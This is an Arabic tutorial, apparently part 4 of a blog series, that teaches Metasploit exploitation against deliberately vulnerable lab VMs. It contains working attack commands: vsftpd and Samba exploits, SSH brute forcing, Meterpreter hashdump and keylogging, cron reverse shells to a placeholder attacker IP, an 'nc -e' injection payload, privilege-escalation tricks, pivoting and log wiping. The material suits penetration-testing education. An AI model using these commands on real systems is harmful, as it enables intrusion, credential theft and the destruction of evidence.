مسار الهاكر: سلسلة من 5 أجزاء
الجزء 1: المقدمة → الجزء 2: إتقان Flipper → الجزء 3: أساسيات Kali → الجزء 4: الاستغلال → الجزء 5: التدقيق الكامل
في الأجزاء 1-3، بنيت مجموعة أدواتك. يمكنك استنساخ البطاقات، ورسم خرائط الشبكات، والتقاط المصافحات، وتحديد كل خدمة تعمل على الهدف. الآن ترى الثغرات في كل مكان. لكن رؤية الثغرة واستغلالها مهارتان مختلفتان تماماً.
هنا تصبح الأمور جدية. اليوم ستتعلم استخدام Metasploit Framework، نفس الأداة التي يستخدمها مختبرو الاختراق المحترفون حول العالم. ستستغل ثغرتك الأولى، وتؤسس الثبات، وتصعد الصلاحيات، وتتعلم التحول عبر الشبكة.
الخط الذي لا يجب تجاوزه
كل شيء في هذه المقالة يجب ممارسته على أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر جريمة فيدرالية تحمل عقوبات تصل إلى 20 عاماً سجن. "كنت أتعلم فقط" ليس دفاعاً صالحاً. أنشئ مختبراً، استخدم أجهزة افتراضية ضعيفة عمداً، ولا تلمس أبداً أنظمة لا تملكها.
الجزء 1: بناء مختبر الهجوم
قبل استغلال أي شيء، تحتاج أهدافاً. مختبرو الاختراق الحقيقيون يستخدمون بيئات مختبرية معزولة مع أجهزة ضعيفة عمداً. ستفعل نفس الشيء.
الإعداد الأساسي للمختبر
ما ستحتاج إليه
- Kali Linux VM - جهاز الهجوم الخاص بك (من الجزء 3)
- Metasploitable 2 - جهاز Linux افتراضي ضعيف عمداً (SourceForge)
- Metasploitable 3 - جهاز Windows/Linux افتراضي ضعيف (GitHub)
- DVWA - Damn Vulnerable Web Application (GitHub)
- VulnHub VMs - أجهزة ضعيفة بنمط CTF (vulnhub.com)
مشروع: إعداد شبكة المختبر
الوقت: 45 دقيقة
- حمّل Metasploitable 2 من SourceForge
- استورده في VirtualBox/VMware
- اضبط الشبكة: اجعل كلاً من Kali وMetasploitable على "Host-Only" أو "Internal Network"
- شغّل Metasploitable (تسجيل الدخول الافتراضي:
msfadmin/msfadmin) - سجّل عنوان IP:
ifconfig - من Kali، تحقق من الاتصال:
ping METASPLOITABLE_IP - نفّذ الفحص الأولي:
sudo nmap -sV -sC METASPLOITABLE_IP
التحقق: يجب أن ترى عشرات المنافذ المفتوحة. Metasploitable مصمم ليتم اختراقه.
فحص nmap لـ Metasploitable يجب أن يكشف خدمات مثل FTP وSSH وTelnet وSMTP وHTTP وSamba وMySQL وPostgreSQL وغيرها، كثير منها يشغل إصدارات قديمة وضعيفة. هذا هو ملعبك.
الجزء 2: أساسيات Metasploit Framework
Metasploit ليس مجرد أداة. إنه نظام بيئي كامل. يحتوي على آلاف الاستغلالات، والحمولات، والوحدات المساعدة، وأدوات ما بعد الاستغلال. فهم بنيته أمر ضروري.
تشغيل Metasploit
bash# Initialize the database (first time only)
sudo msfdb init
# Start Metasploit console
msfconsole
# You'll see the Metasploit banner and prompt:
msf6 >بنية Metasploit
ينظم Metasploit كل شيء في وحدات:
- Exploits - كود يستغل الثغرات
- Payloads - كود يعمل بعد الاستغلال (shells، meterpreter)
- Auxiliary - ماسحات، وfuzzers، وأدوات مساعدة أخرى
- Post - وحدات ما بعد الاستغلال للثبات والتحول
- Encoders - تشويش الحمولات لتجنب الكشف
bash# Search for modules
msf6 > search type:exploit platform:linux smb
# Search by CVE
msf6 > search cve:2017-0144
# Search by name
msf6 > search vsftpd
# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoorسير عمل الاستغلال
كل استغلال في Metasploit يتبع نفس النمط:
- اختر استغلالاً -
use exploit/path/to/module - اضبط الخيارات - عنوان IP الهدف، المنافذ، بيانات الاعتماد
- اختر حمولة - ما يعمل بعد الاستغلال
- نفّذ -
exploitأوrun
الجزء 3: استغلالك الأول
لنستغل واحدة من أشهر الأبواب الخلفية في التاريخ: باب vsftpd 2.3.4 الخلفي. في عام 2011، أدخل شخص ما باباً خلفياً في الكود المصدري لـ vsftpd. إذا أرسلت اسم مستخدم ينتهي بـ :)، يفتح shell على المنفذ 6200.
Metasploitable 2 يشغل بالضبط هذا الإصدار.
bash# Start Metasploit
msfconsole
# Search for the exploit
msf6 > search vsftpd
# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101
# Run the exploit
msf6 exploit(...) > exploit
# If successful:
[*] Command shell session 1 opened
[+] Got shell!
# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)هذا كل شيء. خدمة واحدة ضعيفة، استغلال واحد، وصول root. لهذا السبب تحديث البرامج مهم.
مشروع: استغلال باب vsftpd الخلفي
الوقت: 15 دقيقة
المتطلبات المسبقة: Metasploitable 2 يعمل، Kali على نفس الشبكة
- تحقق من عمل FTP:
nmap -sV -p 21 TARGET_IP - شغّل msfconsole
- ابحث واختر واضبط استغلال vsftpd
- نفّذ الاستغلال
- بعد الحصول على shell، استكشف:
cat /etc/shadow
معايير النجاح: يمكنك قراءة /etc/shadow، الذي يمكن لـ root فقط الوصول إليه.
الجزء 4: فهم الحمولات
الحمولة هي ما يعمل بعد نجاح الاستغلال. الـ shell الأساسي الذي حصلنا عليه أعلاه بسيط، لكن Metasploit يقدم خيارات أقوى بكثير.
أنواع الحمولات
- Singles - حمولات مستقلة، لاستخدام واحد (إضافة مستخدم، تنفيذ أمر)
- Stagers - حمولات صغيرة تنشئ اتصالاً، ثم تحمّل الحمولة الرئيسية
- Stages - الحمولة الرئيسية التي يحمّلها الـ stager (مثل Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads
# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcpReverse مقابل Bind Shells
- Reverse shell - الهدف يتصل عائداً إليك. أفضل لتجاوز جدران الحماية (الاتصال الصادر عادة مسموح).
- Bind shell - الهدف يفتح منفذاً لتتصل به. أسهل في الكشف، وغالباً يحظره جدار الحماية.
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444
# Metasploit starts a listener automatically when you exploitMeterpreter: الحمولة المطلقة
Meterpreter هو أقوى حمولة في Metasploit. يعمل بالكامل في الذاكرة (بدون ملفات على القرص)، يوفر اتصالاً مشفراً، ويتضمن عشرات الأوامر المدمجة لما بعد الاستغلال.
bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo # System information
meterpreter > getuid # Current user
meterpreter > pwd # Current directory
meterpreter > ls # List files
meterpreter > download file # Download file to Kali
meterpreter > upload file # Upload file to target
meterpreter > shell # Drop to system shell
meterpreter > hashdump # Dump password hashes
meterpreter > screenshot # Take screenshot
meterpreter > keyscan_start # Start keylogger
meterpreter > keyscan_dump # Dump keystrokes
meterpreter > background # Background this sessionالجزء 5: تقنيات استغلال إضافية
استغلال Samba (SMB)
Metasploitable 2 يشغل إصداراً ضعيفاً من Samba. هذا مشابه لاستغلال EternalBlue الشهير المستخدم في WannaCry.
bash# Search for Samba exploits
msf6 > search type:exploit samba
# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit
[*] Command shell session 2 openedاستغلال بيانات الاعتماد الضعيفة
لا يتطلب كل اختراق ثغرة برمجية. كلمات المرور الضعيفة موجودة في كل مكان.
bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run
# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run
[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'استغلال تطبيقات الويب
يتضمن Metasploitable عدة تطبيقات ويب ضعيفة. لنستغل حقن كود PHP.
bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)
# Use Metasploit's web exploits
msf6 > search type:exploit php
# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444مشروع: استغلال ثلاث خدمات مختلفة
الوقت: 60 دقيقة
الهدف: Metasploitable 2
- استغل باب vsftpd الخلفي (FTP - منفذ 21) واحصل على root shell
- استغل Samba usermap_script (SMB - منفذ 139/445) واحصل على root shell
- اكسر بيانات اعتماد SSH (منفذ 22) باستخدام auxiliary/scanner/ssh/ssh_login
- وثّق كل استغلال: الوحدة المستخدمة، الخيارات المضبوطة، النتيجة
إضافي: استكشف تطبيقات الويب على المنفذ 80 وابحث عن نواقل استغلال يدوية.
الجزء 6: ما بعد الاستغلال
الحصول على shell هو البداية فقط. اختبارات الاختراق الحقيقية تتطلب إثبات ما يمكن للمهاجم فعله بهذا الوصول. هذا هو ما بعد الاستغلال.
جمع المعلومات
text# From a Meterpreter session
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux
# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arpbash# From a regular shell
cat /etc/passwd # All users
cat /etc/shadow # Password hashes (requires root)
cat /etc/hosts # Network mappings
netstat -tulpn # Open ports
ps aux # Running processes
crontab -l # Scheduled tasksحصاد بيانات الاعتماد
text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bashbash# Or from shell
cat /etc/shadow
# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txtتأسيس الثبات
الثبات يعني الحفاظ على الوصول حتى بعد إعادة التشغيل أو عندما يتم إصلاح ناقل الاستغلال الأولي.
bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker
# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IPالثبات = أدلة
كل آلية ثبات تترك آثاراً. في اختبار اختراق حقيقي، توثق ما يمكنك فعله ثم تنظف. ترك أبواب خلفية على أنظمة العملاء أمر غير مهني وقد يكون غير قانوني. في مختبرك، جرب ما تشاء، لكن افهم العواقب.
الجزء 7: تصعيد الصلاحيات
غالباً تحصل على وصول أولي كمستخدم بصلاحيات منخفضة. التصعيد إلى root/admin مطلوب عادة لتحقيق أهداف الاختبار.
تصعيد الصلاحيات في Linux
bash# Current user context
id
whoami
# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null
# World-writable directories
find / -writable -type d 2>/dev/null
# Sudo permissions
sudo -l
# Kernel version (for kernel exploits)
uname -a
# Running processes as root
ps aux | grep root
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*سكربتات التعداد الآلية
- LinPEAS - github.com/carlospolop/PEASS-ng
- LinEnum - github.com/rebootuser/LinEnum
- linux-exploit-suggester - GitHub
bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000
# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitableنواقل Privesc الشائعة في Linux
bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell
# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;
# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shellتصعيد الصلاحيات في Windows
إذا كنت تختبر أهداف Windows (Metasploitable 3)، التقنيات تختلف:
text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user
meterpreter > getsystem
[+] ...got SYSTEM
# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester
# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploitمشروع: التصعيد من مستخدم إلى Root
الوقت: 45 دقيقة
السيناريو: لديك وصول SSH إلى Metasploitable كـ msfadmin (ليس root)
- SSH إلى Metasploitable:
ssh msfadmin@TARGET - نفّذ
idلتأكيد أنك لست root - تحقق من صلاحيات sudo:
sudo -l - ابحث عن ملفات SUID:
find / -perm -4000 2>/dev/null - ارفع ونفّذ LinPEAS
- حدد ناقل privesc واستغله
الهدف: الحصول على root shell باستخدام شيء غير استغلال خدمة شبكية.
الجزء 8: التحول (Pivoting)
التحول هو استخدام نظام مخترق لمهاجمة أنظمة أخرى لا يمكن الوصول إليها مباشرة من جهاز الهجوم الخاص بك. هكذا يتحرك المهاجمون أفقياً عبر الشبكات.
سيناريو التحول
تخيل هذه الشبكة:
- جهاز Kali الخاص بك: 192.168.1.100
- المضيف المخترق: 192.168.1.50 (متصل أيضاً بالشبكة الداخلية 10.0.0.0/24)
- الهدف: 10.0.0.10 (يمكن الوصول إليه فقط من 192.168.1.50)
لا يمكنك الوصول إلى 10.0.0.10 مباشرة. لكن من خلال المضيف المخترق، يمكنك ذلك.
توجيه Metasploit
text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50
meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1
meterpreter > background
# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print
# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run
# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploitSOCKS Proxy للوصول الكامل
bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run
# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080
# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]نفق SSH (بدون Metasploit)
bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host
# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80
# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444الجزء 9: إخفاء الآثار
مختبرو الاختراق المحترفون يوثقون وصولهم لكنهم ينظفون بعد ذلك. فهم كيف يخفي المهاجمون آثارهم يساعد أيضاً في اكتشاف الاختراقات.
bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history
# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp
# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log
# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file
# Meterpreter
meterpreter > clearev # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"في المهام الحقيقية: لا تفعل هذا
مختبرو الاختراق المحترفون يوثقون وصولهم ويبلغون عن نتائجهم. لا يخفونها. مسح السجلات يدمر الأدلة التي يحتاجها المدافعون لفهم مسار الهجوم. مارس هذه التقنيات فقط في بيئة مختبرك المعزولة.
مسار الهاكر
سلسلة من 5 أجزاء تأخذك من فضولي إلى قادر.
الجزء 1: المقدمة الجزء 2: إتقان Flipper الجزء 3: أساسيات Kali الجزء 4: الاستغلال ✓ الجزء 5: التدقيق الكامل
قائمة مراجعة الجزء 4
☐ إعداد المختبر: Metasploitable 2 يعمل، شبكة معزولة مُعدة
☐ Metasploit: قاعدة البيانات مُهيأة، التنقل الأساسي مُتقن
☐ أول استغلال: باب vsftpd الخلفي مُستغل، root shell تم الحصول عليه
☐ نواقل متعددة: FTP وSMB مُستغلان وبيانات SSH مكسورة
☐ ما بعد الاستغلال: تجزئات كلمات المرور مُستخرجة، النظام مُعدد
☐ تصعيد الصلاحيات: تصعيد من مستخدم إلى root بدون استغلال شبكي
☐ التحول: فهم مفاهيم autoroute وSOCKS proxy
☐ التوثيق: جميع الاستغلالات موثقة بالخطوات والأدلة
ما التالي
تعلمت استغلال الثغرات، وتصعيد الصلاحيات، والتحول عبر الشبكات. رأيت كيف يتحول ضعف واحد بسرعة إلى اختراق كامل. أنت تفهم ما يفعله مختبرو الاختراق المحترفون.
في الجزء 5، نجمع كل شيء معاً. ستجري تدقيقاً أمنياً كاملاً من البداية إلى النهاية:
- تحديد النطاق وقواعد المشاركة
- منهجية استطلاع كاملة
- استغلال منهجي
- ما بعد استغلال شامل
- تقارير مهنية
- توصيات المعالجة
الجزء 5 هو التتويج. كل ما تعلمته عبر هذه السلسلة يتحد في منهجية واقعية يمكنك استخدامها لتقييم أمان أي شبكة مصرح لك باختبارها.
تعلمت التقنيات. الآن تتعلم المنهجية. الجزء 5 يحول المهارات إلى سير عمل كامل لاختبار الاختراق.
نراك في الجزء 5.